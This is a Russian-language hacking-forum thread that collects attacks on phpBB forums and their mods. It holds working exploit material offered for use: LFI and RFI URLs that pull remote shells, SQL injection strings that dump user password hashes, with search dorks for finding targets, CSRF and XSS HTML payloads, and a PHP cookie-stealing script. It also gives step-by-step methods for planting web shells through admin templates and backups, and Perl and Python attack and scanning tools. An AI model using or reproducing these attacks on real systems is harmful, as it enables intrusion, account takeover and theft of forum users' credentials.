По умолчанию включен (-g1).
-T - temeout для сокетов. По умолчанию 30 (-T30).
-U - User Agent для сокетов. По умолчанию Opera/9.01 (Windows NT 5.1; U; ru).
-P - Прокси. В ввиде -P127.0.0.1:81
-e - Кол-во юзеров на форуме. Если опция не задана, то определяет сам.
-i - Задание юзеров посредством указания ихнего id.
Если параметр не задан, то ищет админов на форуме.
Если параметр задан как (-i2,3,4) то эксплуатирует юзеров с id=2,3,4 (по очереди).
Если параметр задан как (-ir) то берет первого юзера (админ или id=2).
Если параметр не задан, и определить не удается админов, тогда ставится значение 1(-i2).
Скрипт обрабатывает все поступающие данные, т.е. не будет что если какую то переменную неправильно определил и идет с ней дальше работать.
Скрипт просто выдаст на экран уведомление, что переменная неверная и перескочит этот пункт.
В скрипте встроено определение Ника по id. Если не удается через профайл, то определяется через список активных юзеров или через главную страницу форума.
Версия определяется двумя способами (через надпись внизу или по файлам). #На индексе не доделано.
Скрипт при заходе в админку проверит phpinfo и если найдет то выдаст вам информацию о сейф моде, операционной системе и о серверном пути.
Любой юзер в скрипте проходит проверку статуса, и в зависимости от его статуса, скрипт может разделять одновременно всех юзеров.
Скрипт при работе с админкой поддерживает обход basic authorization вводя туда заданные внешние -l и -p или внутрении $admin_user и $admin_pass.
Скрипт в зависимости от версии форума, сам реагирует на способы обращения с форумом, на баги и на работе с базой данных.
Для залитии шеллов в зависимости от версии форума используется около 5 способов залития.
Скрипт является серьезным подходом по выявлению уязвимостей форума. На сегодняшний день, он является лучшим сканером по безопасности форума phpbb.
Примеры использования скрипта:
phpbb.pl -v1 -uhttp://site.ru/phpbb/ -b1 -m1 - Сканер багов, легкий брут, проверка на баги модов форума.
phpbb.pl -v2 -uhttp://site.ru/phpbb/ -e125 - Сграбить инфу о первых 125 пользователях, если кол-во не заданы, скрипт возьмет всех пользователей форума.
phpbb.pl -v3 -uhttp://site.ru/phpbb/ -ladmin -fpass.txt - Брутит аккаунт юзера admin по словарному файлу pass.txt
phpbb.pl -v3 -uhttp://site.ru/phpbb/ -padmin -fuser.txt - Подбирает аккаунты из файла на один заданый пароль.
phpbb.pl -v3 -uhttp://site.ru/phpbb/ -fuser.txt:pass.txt - Перекрестный брут. На каждый логин из файла user.txt, брутится пассы из файла pass.txt
phpbb.pl -v3 -uhttp://site.ru/phpbb/ -faccount.txt - Чекает файл аакаунтов вида: http://site.ru/forum/:user:pass
phpbb.pl -v4 -uhttp://site.ru/phpbb/ - Легкий ддос форума, без многопоточности.
phpbb.pl -v5 -uhttp://site.ru/phpbb/ - Автозабаниватель. Если не указан юзер, то скрипт забанит всех юзеров. Работает тока с 2.0.19 версии.
Инклуды в модах/модулях/компонентах.
Обновлено 12.01.2008
Софтинка для автоматического чека инклудов прилагается в атаче.
Добавлен скрипт удаления повторов и сортировки по алфавиту.
Blind SQL-Injection в phpBB modified v1.8 by Przemo (http://forum.antichat.ru/thread37089.html)
Hacks List phpBB Mod <= 1.21 Remote SQL Injection Vulnerability (http://milw0rm.com/exploits/download/2851)
phpBB2 Plus 1.53 (Acronym Mod) Remote SQL Injection Vulnerability (http://milw0rm.com/exploits/download/3033)
phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection Exploit (http://milw0rm.com/exploits/download/1469)
phpBB All Topics Mod <= 1.5.0 (start) Remote SQL Injection Exploit (http://milw0rm.com/exploits/download/2248)
phpBB 3 (memberlist.php) Remote SQL Injection Exploit (http://milw0rm.com/exploits/download/2007)
phpBB Minerva Mod 2.0.21 build 238a SQL Injection Vulnerability (http://milw0rm.com/exploits/download/3519)
phpBB Links MOD 1.2.2 Remote SQL Injection Exploit (http://milw0rm.com/exploits/download/4346)
phpBB Mod Ktauber.com StylesDemo Blind SQL Injection Exploit (http://milw0rm.com/exploits/download/4425)
phpBB Garage 1.2.0 Beta3 Remote SQL Injection Vulnerability (http://milw0rm.com/exploits/4686)
Multi Host Forum Pro phpbb & ipb Multiple Sql Injection (http://securityvulns.ru/Sdocument294.html)
phpBB charts.php (hack) XSS and SQL-Injection (http://securityvulns.ru/Mdocument641.html)
- алгоритм хеширования
поможет вам восстановить исходный пароль по хешу
md5(password)
- время сессии
позволит вам оценить валидность сессии при XSS-атаке
[в разработке]
- содержание хеша пароля в куках
позволит вам получить пароль при успешной XSS-атаке
до phpBB 2.0.18 включительно присутствует содержание хеша пароля в куках
- вход в админку по куке
позволит вам войти в панель администрирования с кукой без знания исходного пароля
до phpBB 2.0.18 включительно возможен вход в админку по куке
- имена таблиц\столбцов sql
позволит вам успешно провести SQL-inj
phpbb_
phpbb2_
- IE security cookie [ setcookie() http_only ]
позволит вам правильно выбрать метод XSS атаки(document.cookie, document.location, TRACE)
[в разработке]
- x-forward-for, client-ip, referer
позволит вам анонимно оставлять сообщения на форуме, проводить XSS-атаку, проводить SQL-inj
Неуязвимы версии выше phpBB 2.0.8
- CSRF(HTTP Response Splitting, Request Forgery)
позволит вам выполнить специфическую XSS-атаку
В phpBB <= 2.0.21 недавно найдена подобная уязвимость - см выше.
1ten0.0net1
06.10.2007, 00:18
Флудер форума phpBB (http://forum.antichat.ru/thread5232.html)
Следующие сторонние наработки для любителей пофлудить:
2.0.21:
_http://www.inj3ct-it.org/exploit/phpbbasf.txt
<=2.0.21:
_http://www.inj3ct-it.org/exploit/phpbb.txt
Cкрипт распознавания captcha в phpbb (http://forum.antichat.ru/showthread.php?t=27353)
Cпам-скрипт для phpBB] (http://forum.antichat.ru/showpost.php?p=156368&postcount=2)
Basurman
27.11.2007, 18:11
2.0.21 или 2.0.22?
Как отличить последнюю версию второй ветки (2.0.22) от остальных? (пост восстановлен)
Очень просто. До последней версии был баг (не инъект!) в лимите во всех скритах, где присутствовал постраничный вывод на экран.
Например, в скрипте viewforum.php, который и рассмотрим.
Определить можно, добавив параметр start=-1 в адресной строке, например, к viewforum.php
То есть, если есть ccылка вида:
http://forum/viewforum.php?f=32
Набираем:
http://forum/viewforum.php?f=32&start=-1
Если вываливается с ошибкой - версия <=2.0.21
Если нет - 2.0.22
Could not obtain topic information
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 20' at line 12
SELECT t.*, u.username, u.user_id, u2.username as user2, u2.user_id as id2, p.post_username, p2.post_username AS post_username2, p2.post_time FROM topics t, users u, posts p, posts p2, users u2 WHERE t.forum_id = 50 AND t.topic_poster = u.user_id AND p.post_id = t.topic_first_post_id AND p2.post_id = t.topic_last_post_id AND u2.user_id = p2.poster_id AND t.topic_type <> 2 AND t.topic_type <> 3 ORDER BY t.topic_type DESC, t.topic_last_post_id DESC LIMIT -1, 20
Line : 420
File : /xxx/phpbb/viewforum.php
P.S. Все файлы, где есть параметр start можно найти в апдейтере 2.0.22
P.S.S На forums.overclockers.ru стоит не 2.0.22 (ну или сильно криворукий обновляльщик) ;)
Full path disclosure:
profile.php?mode=viewprofile&u=2&ranksrow=abcdabcd
faq.php?mode=bbcode&faq=abcdabcd
viewtopic.php?p=6&highlight=\abcdabcd
admin/admin_disallow.php?setmodules=1
db/oracle.php
viewtopic.php?t=395&postorder[]=kala
memberlist.php?mode[]=cx
memberlist.php?start=-1
privmsg.php?folder[]=
profile.php?mode[]=
posting.php?mode[]=
groupcp.php?mode[]=
modcp.php?mode[]=
index.php?category_rows=aaaa
profile.php?mode=viewprofile&u=2&ranksrow=aaaa
faq.php?faq=aaaa
Solide Snake
13.01.2008, 00:34
PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln (http://milw0rm.com/exploits/4796)
http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd
http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=[ LFI ]
PNphpBB2 <= 1.2i viewforum.php Remote SQL Injection Exploit (http://milw0rm.com/exploits/4147)
PNphpBB2 <= 1.2 (index.php c) Remote SQL Injection Exploit (http://milw0rm.com/exploits/4026)
PNphpBB2 <= 1.2g (phpbb_root_path) Remote File Include Vulnerability (http://milw0rm.com/exploits/2390)
http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?
(c) (http://www.milw0rm.com)
XSRF Vulnerability
Vulnerable: phpBB 2.0.22
Exploit:
<html>
<head>
</head>
<body onLoad=javascript:document.xsrf.submit()>
<form action="http://[site]/phpBB2/privmsg.php?folder=inbox" method="post"
name="xsrf">
<input type="hidden" name="mode" value="" />
<input type="hidden" name="deleteall" value="true" />
<input type="hidden" name="confirm" value="Yes">
</body>
</html>
Атакующий посылает жертве в ПМ ссылку на страницу, содержащую вышеописанный код, и все личные сообщения жертвы будут удалены.
InsidePro
19.02.2008, 18:15
Есть предложение к спецам по PHP - проанализировать исходники phpBB3 (функции хэширования опубликованы здесь:
http://forum.insidepro.com/viewtopic.php?t=1685) и выяснить точный алгоритм хэширования паролей.
А я бы новый модуль написал к PPro. ;)
Basurman
19.02.2008, 23:25
Если в 2-х словах (вкратце не получилось):
имеем хеш: $H$95MMFvTU4Lm1sASItv4J5HWXk18HW70 (пароль 123456)
соль от него 5MMFvTU4 (8 символов, начиная с 5-го)
Делаем такой цикл: (убрать 2 пробела после ..klmn)
$salt='5MMFvTU4'; $password='123456';
$settings='$H$95MMFvTU4Lm1sASItv4J5HWXk18HW70';
$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn opqrstuvwxyz';
$hash = md5($salt . $password, true);
do
{
$hash = md5($hash . $password, true);
}
while (--(1 << strpos($itoa64, $setting[3]) ));
Цикл возвращает бинарную строку из 16 символов, сделав много раз сначала функцию md5($salt . $password); затем md5( "предыдущий бинарный хеш" . $password);
Ну, и, наконец, чтобы получить из этого бинарного хеша строку Lm1sASItv4J5HWXk18HW70 (первые 12 символов не в счет, их отбрасываем), прогоняем его через следующую функцию ($input это полученный ранее $hash):
function _hash_encode64($input, &$itoa64)
{
$output = '';
$i = 0;
do
{
$value = ord($input[$i++]);
$output .= $itoa64[$value & 0x3f];
if ($i < 16)
{
$value |= ord($input[$i]) << 8;
}
$output .= $itoa64[($value >> 6) & 0x3f];
if ($i++ >= 16)
{
break;
}
if ($i < 16)
{
$value |= ord($input[$i]) << 16;
}
$output .= $itoa64[($value >> 12) & 0x3f];
if ($i++ >= 16)
{
break;
}
$output .= $itoa64[($value >> 18) & 0x3f];
}
while ($i < 16);
return $output;
}
Склеиваем строки в одну ($H$95MMFvTU4 + Lm1sASItv4J5HWXk18HW70). проверяем, радуемся. ВСЕ ;)
Примеры:
$H$95MMFvTU4Lm1sASItv4J5HWXk18HW70:123456
$H$9ZKl5LLDygA/c8AGXcpWk7bRnHQQ.U0:testing
$H$9Uh5EWFcQEmJPaWy/7wsyzMPN4.jS3/:123321
где первые 4 символа $H$9 сигнатура хеша по умолчанию.
$H$9 присутствует всегда, хотя его и можно и менять прямо в коде (я имею ввиду последоватльность $H$)...
Я бы сделал префикс другой ) чтобы никто не догадался
______________________________________
P.S. Этот алгоритм применяется начиная с версии phpBB3 RC5. До этого везде был md5
InsidePro
20.02.2008, 19:17
Basurman, спасибо за разъяснения!
Модуль для этих хэшей я написал и он уже доступен в архиве с PPro на моем сайте, файл MD5(phpBB3).dll, 15 кБ.
P.S. Т.к. сигнатура этих хэшей ("$H$") не участвует в хэшировании (в отличие от MD5(Unix), к примеру), то я на всякий случай сделал так, что модуль поддерживает любую сигнатуру.
P.P.S. Еще раз спасибо за помощь!
RFI
Уязвимые скрипты:
path/123flashchat.php include($phpbb_root_path . 'extension.inc');
path/123flashchat.php include($phpbb_root_path . 'common.'.$phpEx);
path/phpbb_login_chat.php include($phpbb_root_path . 'extension.inc');
path/phpbb_login_chat.php include($phpbb_root_path . 'common.'.$phpEx);
Exploit:
www.site.com/path/123flashchat.php?phpbb_root_path=[shell]
www.site.com/path/phpbb_login_chat.php?phpbb_root_path=[shell]
doc Gilberg
08.03.2008, 02:37
Я еще не видел такого метода заливки шелла, как использование eXtreme Styles
(*требуется доступ в админку)
Версии: Точно сказать не могу, но 2.0.21-22 поддерживают
Метод:
eXtreme Styles -> Styles Management -> [edit templates]
После этого можно при помощи встроенного(!) редактора файлов вставить необходимый код в страницу
Мой любимый файл attach_rules.php
Им редко кто пользуется, а после заливки туда, можно создать и свой файл
Подробнее:
Все просто, если есть доступ к админке и версия использует "eXtreme Styles"
*я описываю так как есть в доступной мне админке
Ищешь в левом столбце eXtreme Styles, под ним Styles Management, по этой ссылке кликаешь и в правом фрейме смотришь [edit templates], его кликаешь, и попадаешь в интуитивно понятный редактор файлов в forum_root папке, начинаешь естественно(так как это редактор стилей) в папке templates, выходишь на уровень выше, ищешь нужный файл
(для дефейса index.php, для заливки шелла, к примеру, attach_rules.php)
И кликаешь по нему, редактишь его, как надо, т.е. дописываешь в него код шелла(я советую rst-шелл, хоть большой, но качественный, правда АВниками палится)
Потом давишь кнопку отправить(послать, send и тп.)и выбираешь не ФТП метод, а локалсистем, или как то так... и все, прехеходишь по неообходимой тебе ссылке, и видишь свой(или чужой шелл)
___________________________________________
помог? прибавь к репутации
1) Пассивная XSS: нефильтруется переменная cur_password при замене пароля
2) Opencosmo Security
http://www.opencosmo.com
Author: Alfredo Panzera, Opencosmo Security
Vendor: phpBB.com
Version: 2.0.22
Exploit:
Go to http://[website]/forum/admin/admin_groups.php and into 'Group description:' insert your XSS.
3) PhpBB [profile.php] Permanent Xss Vulnerability
Sep 20 2007 04:35PM
Found By Seph1roth
[POST METHOD]
Corrupted page: profile.php?mode=editprofile&cpl_mode=profile_info
Bugged Variable: "selfdes" (Campo "Altre informazioni")
Xss: </textarea>[XSS STRING]
SQL Injection
Vulnerable: [phpBB MOD] FileBase
Exploit:
filebase.php?d=1&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,concat(username,char(58),user _password),12,13,14/**/FROM/**/phpbb_users/*
Dork: inurl:"filebase.php" "Powered by phpBB
SQL Injection
Vulnerable: Fully Modded phpBB (kb.php)
Exploit:
kb.php?mode=article&k=1+union+select+1,1,concat(user_id,char(58),usern ame,char(58),user_password),4,5,6,7,8,9,10,11,12,1 3+from+phpbb_users+where+user_id+=2&page_num=2&cat=1
Dork:
allinurl :kb.php?mode=article&k
article&k=
"Powered by phpBB © 2001, 2006 phpBB Group" "Modified by Fully Modded phpBB © 2002, 2006"
Session Hijacking
Vulnerable: phpBB 2.0.23
PoC:
Когда модератор или администратор форума phpBB 2.0.X закрывает тему, его sessionid отправляется GET'ом:
http://site.tld/phpBB2/modcp.php?t=1&mode=lock&sid=[session]
Администратор/модератор должен быть перенаправлен на некую тему атакующего.
Если атакующий разместил в своем посте изображение, то он может видеть referer и тем самым sessionid. И если администратор(модератор) закрывает данную тему, то атакующий получает его sessionid, которую но может использовать для дальнейших атак типа Cross Site Request Forgery (http://forum.antichat.ru/thread63547.html)
============
Elekt:
В случае запрета [img] можно заюзать удаленную аватарку ;)
============
Автор: NBBN
[53x]Shadow
26.03.2008, 03:44
Заливка шела через темплейты в phpBB3(необходим доступ в админку).
1. Разрешаем выполнение пхп в темплейтах. Устанавливаем галочку в Основные настройки(General Settings) -> Настройки безопасности(Security Settings) -> Разрешить выполнение пхп в темплейтах (Allow php in templates).
2. Далее в стилях выбираем необходимый темплейт и прописываем необходимый пхп код в следующей конструкции:
<!-- PHP -->
system($_REQUEST[c]);
<!-- ENDPHP -->
LFI
Vulnerable: phpBB PJIRC mod
Vuln script:
./irc.php:31 include($php_root_path. 'common.' .$phpEx);
PoC:
http://target.com/forum/irc/irc.php?phpEx=./../../../../../../etc/passwd
© 0in from DaRk-CodeRs
XSS Private Messagging On PhpBB3
http://www.victimesite.org/ucp.php?i=pm&mode=compose&action=reply&f=[xss]&p=[page]
Where is:
[xss] = '';!--"<script>alert(document.cookie);</script>=&{(alert(1))}
[page] = Page of your PM
Redirect Code [Ascii --> Hex]:
[xss] = %3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3 a%2f%2f%77%77%77%2e%65%76%69%6c%73%69%74%65%2e%6f% 72%67%2f%66%69%6c%65%2e%6a%73%3e
(<script src=http://www.evilsite.org/WaRWolFz/file.js>)
COOKIES GRABBER
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET['warwolfz'];
$time = date("Y-m-d G:i:s A");
$text = "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n";
$file = fopen('cookies.html' , 'a');
fwrite($file,$text);
fclose($file);
?>
© By Dante90 .
PhpBB <= 2.0.22 CSRF Add User In Group
www.hackinginside.altervista.org
Author: Vincy
Email: djvincy@hotmail.it
This CSRF add an user in a group.
Html Exploit By Vincy:
<html>
<iframe name="hackinginside" frameborder="0" height="0" width="0"></iframe>
<form action="http://site.com/path/groupcp.php?g=[GROUP_ID]" method="post" name="vincy" target="hackinginside">
<input type="hidden" name="username" value="[YOUR_NAME]">
<input type="submit" name="add" value="Add Member"></form>
<script>document.vincy.submit()</script>
</html>
Flash Exploit By Nexen:
var username:String = "[YOUR_NAME]";
var add:String = "Add Member";
var g:String = "[GROUP_ID]";
getURL("http://site.com/path/groupcp.php?g=[GROUP_ID]", "_self", "POST");
phpRaider phpbb3 Bridge 'phpbb3.functions.php' Remote File Include Vulnerability
http://securityfocus.com
An attacker can exploit this issue via a browser.
Exploit:
http://www.example.com/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=http://www.example2.com/s.php
baltazar
08.06.2008, 15:21
уязвимость в сal_lite
cal_lite.php?id=12&mode=display&cl_d=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Nightmarе
18.06.2008, 02:57
Extreme phpBB 3.0.1 (functions.php) Remote File Include Exploit (http://milw0rm.com/exploits/3370)
Работает при register_globals=1
Поставить iframe на форум при наличии админки можно вписав код фрейма в название любой темы, желательно видимой для гостей. При небольшой доработке можно и в название раздела, но без знания дела экспериментировать не советую. Тестировалось на phpBB 2.0.22
Админка -> Форум -> Управление -> Названия тем -> дописываем в конце названия темы фрейм
baltazar
19.07.2008, 13:50
---------------------------------------------------------------
____ __________ __ ____ __
/_ | ____ |__\_____ \ _____/ |_ /_ |/ |_
| |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\
| | | \ | |/ \ \___| | /_____/ | || |
|___|___| /\__| /______ /\___ >__| |___||__|
\/\______| \/ \/
---------------------------------------------------------------
Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org
--------------------------------------------------------------
0day Auto Sender Post phpBB2
---------------------------------------------------------------
# Coded by TuoNuX
# Description:
autosendform generator
---------------------------------------------------------------
---------------------------------------------------------------
asf.pl
---------------------------------------------------------------
#/usr/bin/perl
#0day Auto Sender Post phpBB2
#TuoNuX@hotmail.it
#http://www.localh0st.altervista.org
#http://www.hackingz0ne.altervista.org
print q {
__________________________________________________ ___________________
___ _ _ __ _
|_ _|_ _ ___ | \ | _ _ \ \/ * 0day Auto Sender Post phpBB2
| || | |/ . \| || | | \ \ * TuoNuX@hotmail.it
|_|`___|\___/|_\_|`___|_/\_\ * http://www.localh0st.altervista.org
* http://www.hackingz0ne.altervista.org
0day Auto Sender Post phpBB2
__________________________________________________ ___________________
};
print q {
[+]Insert host site :
[-]Indirizzo: };
$indirizzo = <stdin>;
chomp($indirizzo);
print q {
__________________________________________________ ___________________
[+]Insert the forum path (for example /phpBB/) :
[-]Cartella: };
$cartella = <stdin>;
chomp($cartella);
print q {
__________________________________________________ ___________________
[+]Insert ID section ( number after "?f=" ):
[-]ID Sezione: };
$id = <stdin>;
chomp($id);
print q {
__________________________________________________ ___________________
[+]Insert Topic Title :
[-]Titolo: };
$titolo = <stdin>;
chomp($titolo);
print q {
__________________________________________________ ___________________
[+]Insert the body topic :
[+]Yuc can use also the BB code es: urlimmagine
[-]Testo: };
$testo = <stdin>;
chomp($testo);
print q {
__________________________________________________ ___________________
[+]Insert the victim sid , don't write everyone if there isn't it :
[-]Sid: };
$sid = <stdin>;
chomp($sid);
$sito = "http://$indirizzo$cartella";
print "\n----------------Riepilogo----------------------\n\n";
print "Forum => $sito\n";
print "ID Section => $id\n";
print "Title => $titolo\n";
print "Message => $testo\n";
print "SID => $sid\n\n";
print "----------------Riepilogo----------------------\n\n";
print "Enter for continued....";
<stdin>;
$m1 = q {<html><head><body><form action="};
$m2 = "$sito";
$m3 = q {posting.php" method="post" name="post"><textarea name="message" class="post">};
$m4 = "$testo";
$m5 = q {</textarea><input type="hidden" value="};
$m12 = "\n\nTuoNuX 0day phpBB2 Exploit\n\n\n";
$m6 = "$titolo";
$m7 = q {" class="post" tabindex="2" style="width: 450px;" maxlength="60" size="45" name="subject"/><input type="hidden" value="" class="post" maxlength="255" size="50" name="poll_title"/><input type="hidden" value="" class="post" maxlength="255" size="50" name="add_poll_option_text"/><input type="hidden" value="0" class="post" maxlength="3" size="3" name="poll_length"/><input type="hidden" value="Anteprima" class="mainoption" name="preview" tabindex="5"/><input type="hidden" value="Invia" class="mainoption" name="post" tabindex="6" accesskey="s"/><input type="hidden" name="mode" value="newtopic" /><input type="hidden" name="f" value="};
$m8 = "$id";
$m9 = q {"> <input type="hidden" name="sid" value="};
$m10 = "$sid";
$m11 = q {" /></form><script>document.post.submit()</script></html></head></body>};
$html = "$m1$m2$m3$m4$m12$m5$m6$m7$m8$m9$m10$m11";
open ( FILE , ">phpBB20dayexploit.html" ) || die ( "" );
print FILE $html;
close ( FILE );
print q {
__________________________________________________ ___________________
dr.Pilulkin
02.09.2008, 12:22
Обнаружил интересную фишку, которая может помочь при заливке шелла. Иногда бывает что админ выставляет права, которые не позволяют заливать картинки в папку images/avatars попробуем это обойти.
Всем известен способ заливки шелла от Шанкара через востановление базы данных из админки.
Напомню создаем файл с содержанием
UPDATE phpbb_config SET config_value=concat('images/avatars/cmd.php',char(0)) WHERE config_name='avatar_path';
Восстанавливаем базу им базу из админки. И заливаем из зарание открытой страницы профиля новый аватар с содержащимся в нем PHP кодом. Потом идем на _http://www.site.com/forum/images/avatars/cmd.php и юзаем.
Если папка недоступна на запись попробуем такой финт:
В phpBB есть папка cache доступная на запись необходимая форуму для работы.
В ней лежит .htaccess запрещающий доступ извне.
Делаем файлик:
UPDATE phpbb_config SET config_value=concat('cache/.htaccess',char(0)) WHERE config_name='avatar_path';
Восстанавливаем им базу. Выставляем в профиле галочку 'удалить текущий аватар' и пытаемся залить некорректный файл.
Он разумеется не зальется но .htaccess из папки cache магическим способом исчезает.
А дальше смотри пункт 1 :).
baltazar
03.09.2008, 21:54
/////
#!/usr/bin/python
#This is a phpBB scanner, searches if vulnerable paths
#exist. Put phpvuln.txt in the dir
#at which you are running this script.
#Every path in phpvuln.txt has a vuln. or an exploit for it.
#(considering its the right version)
#Changelog v1.2 : added update function
#Changelog v1.1 : added verbose mode, changed http
#response bug, added new vuln. paths
#http://www.darkc0de.com
##d3hydr8[at]gmail[dot]com
import sys, httplib, time, urllib2
def getserv(path):
try:
h = httplib.HTTP(host+":"+port)
h.putrequest("HEAD", path)
h.putheader("Host", host)
h.endheaders()
status, reason, headers = h.getreply()
except:
print "\n[-] Error: Name or service not known. Check your host.\n"
sys.exit(1)
return status, reason, headers.get("Server")
def timer():
now = time.localtime(time.time())
return time.asctime(now)
def title():
print "\n\t d3hydr8[at]gmail[dot]com PhpBBscanner v1.2"
print "\t--------------------------------------------------"
def update():
try:
lines = open("phpvuln.txt", "r").readlines()
except(IOError):
print "[-] Error: Check your phpvuln.txt path and permissions"
print "[-] Update Failed\n"
sys.exit(1)
try:
paths = urllib2.urlopen("http://www.darkc0de.com/scanners/phpvuln.txt").readlines()
except:
print "[-] Error: Couldn't connect to remote database"
print "[-] Update Failed\n"
sys.exit(1)
if len(paths) > len(lines):
dif = int(len(paths)-len(lines))
print "[+] Found:",dif,"updates"
print "\n[+] Writing Updates"
file = open("phpvuln.txt", "a")
for path in paths[-dif:]:
if path[-1:] == "\n":
path = path[:-1]
print "[+] New:",path
file.writelines(path+"\n")
file.close()
print "\n[+] Update Complete\n"
else:
print "[-] No Updates Available\n"
sys.exit(1)
if len(sys.argv) >= 5 or len(sys.argv) == 1:
title()
print "\n\t[+] Usage: ./phpbbscan.py <host> <port>\n"
print "\t[options]"
print "\t -v/-verbose : Shows all http requests and responses"
print "\t -u/-update : Updates phpvuln.txt with the latest"
print "\n\t[+] Ex. ./phpbbscan.py -update"
print "\t[+] Ex. ./phpbbscan.py google.com 80 -verbose\n"
sys.exit(1)
title()
if sys.argv[1].lower() == "-u" or sys.argv[1].lower() == "-update":
print "\n[+] Updating Database File"
update()
host = sys.argv[1]
port = sys.argv[2]
for arg in sys.argv[1:]:
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
else:
verbose = 0
if host[:7] == "http://":
host = host.replace("http://","")
if host[-1] == "/":
host = host[:-1]
print "[+] Getting responses"
okresp,reason,server = getserv("/")
badresp = getserv("/d3hydr8.html")[:1]
if okresp == badresp[0]:
print "\n[-] Responses matched, try another host.\n"
sys.exit(1)
else:
print "\n[+] Target host:",host
print "[+] Target port:",port
print "[+] Target server:",server
print "[+] Target OK response:",okresp
print "[+] Target BAD response:",badresp[0], reason
print "[+] Scan Started at",timer()
if verbose ==1:
print "\n[+] Verbose Mode On"
dirs = ["/","/bb/","/phpbb/","/forum/","/forums/","/phpBB2/","/phpbb/phpBB2/"]
try:
lines = open("phpvuln.txt", "r").readlines()
print "\n[+]",len(lines)*len(dirs),"paths loaded\n"
except(IOError):
print "[-] Error: Check your vulnerabilities list path\n"
sys.exit(1)
vulns = []
print "[+] Scanning...\n"
for d in dirs:
for line in lines:
status, reason = getserv(d+line[:-1])[:2]
if verbose ==1:
print "[+]",status,reason,":",d+line,"\n"
if status == okresp:
vulns.append(d+line)
print "\t[!]",status,reason,":",d+line,"\n"
if status == int(401):
print "\t--",status,reason,":Needs Authentication [",d+line,"]\n"
if len(vulns) == 0:
print "[-] Couldn't find any vuln. paths\n"
else:
print "[!] Found",len(vulns),"possible vulnerabilities, check manually.\n"
for vuln in vulns:
print "\t[+] ",vuln
print "\n[+] Scan completed at", timer(),"\n"
phpBB <= 2.0.16
XSS :
" target="_blank">www.ut'
http://antichat.ru/sniff/log.php
phpBB <= 2.0.19
Exploit:
http://www.milw0rm.com/exploits/1661
http://www.milw0rm.com/exploits/1661
phpBB <= 2.0.20
Exploit: http://www.milw0rm.com/exploits/1780
phpBB <= 2.0.21
Exploit: http://www.milw0rm.com/exploits/2348
Моды
TopList Hack for PHPBB <= 1.3.8
/toplist.php?f=toplist_top10&phpbb_root_path=shell
Advanced GuestBook
/admin/addentry.php?phpbb_root_path=shell
Knowledge Base Mod
/includes/kb_constants.php?module_root_path=shell
phpBB auction mod
/auction/auction_common.php?phpbb_root_path=shell
phpRaid <= 3.0.b3
/[phpraidpath]/auth/auth.php?phpbb_root_path=shell
/[phpraidpath]/auth/auth_phpbb/phpbb_root_path=shell
/[phpraidpath]/auth/auth.php?smf_root_path=shell
/[phpraidpath]/auth/auth_SMF/smf_root_path=shell
PafileDB
/[pdbpath]/includes/pafiledb_constants.php?module_root_path=shell
Foing <= 0.7.0
/index.php?phpbb_root_path=shell
/song.php?phpbb_root_path=shell
/faq.php?phpbb_root_path=shell
/list.php?phpbb_root_path=shell
/gen_m3u.php?phpbb_root_path=shell
/playlist.php?phpbb_root_path=shell
Activity MOD Plus
/language/lang_english/lang_activity.php?phpbb_root_path=shell
Blend Portal <= 1.2.0
/blend_data/blend_common.php?phpbb_root_path=shell
Minerva <= 2.0.8a
/stat_modules/users_age/module.php?phpbb_root_path=shell
Minerva <= v238
/admin/admin_topic_action_logging.php?setmodules=attach&p hpbb_root_path=shell
FlashBB <= 1.1.5
/phpbb/getmsg.php?phpbb_root_path=shell
HoRCMS <= 1.3.1
/includes/functions_cms.php?phpbb_root_path=shell
mail2forum <= 1.2
/m2f/m2f_forum.php?m2f_root_path=shell
/m2f/m2f_phpbb204.php?m2f_root_path=shell
/m2f/m2f_forum.php?m2f_root_path=shell
/m2f/m2f_mailinglist.php?m2f_root_path=shell
/m2f/m2f_cron.php?m2f_root_path=shell
WoW Roster
/[roster_path]/lib/phpbb.php?subdir=shell
Integramod Portal
/includes/functions_mod_user.php?phpbb_root_path=shell
/includes/functions.php?phpbb_root_path=shell
Shadow Premod <= 2.7.1
/includes/functions_portal.php?phpbb_root_path=shell
phpBB XS <= 0.58
/includes/functions_kb.php?phpbb_root_path=shell
/includes/bbcb_mg.php?phpbb_root_path=shell
/includes/functions.php?phpbb_root_path=shell
pnphpbb
/includes/functions_admin.php?phpbb_root_path=shell
Admin Topic Action Logging
/admin/admin_topic_action_logging.php?setmodules=pagestar t&phpbb_root_path=
phpBB Static Topics <= 1.0
/includes/functions_static_topics.php?phpbb_root_path=shell
Security Suite IP Logger
/includes/logger_engine.php?phpbb_root_path=shell
Dimension of phpBB
/includes/themen_portal_mitte.php?phpbb_root_path=shell
/includes/logger_engine.php?phpbb_root_path=shell
/includes/functions.php?phpbb_root_path=shell
phpBB User Viewed Posts Tracker
/includes/functions_user_viewed_posts.php?phpbb_root_path=sh ell
phpBB RANDOm USER REGISTRATION NUMBER
/includes/functions_num_image.php?phpbb_root_path=shell
phpBB insert user <= 0.1.2
/includes/functions_mod_user.php?phpbb_root_path=shell
phpBB Import Tools Mod <= 0.1.4
/includes/functions_mod_user.php?phpbb_root_path=shell
phpBB Ajax Shoutbox <= 0.0.5
/shoutbox.php?phpbb_root_path=shell
SpamBlockerMOD <= 1.0.2
/root/includes/antispam.php?phpbb_root_path=shell
phpBB PlusXL 2.x <= biuld 272
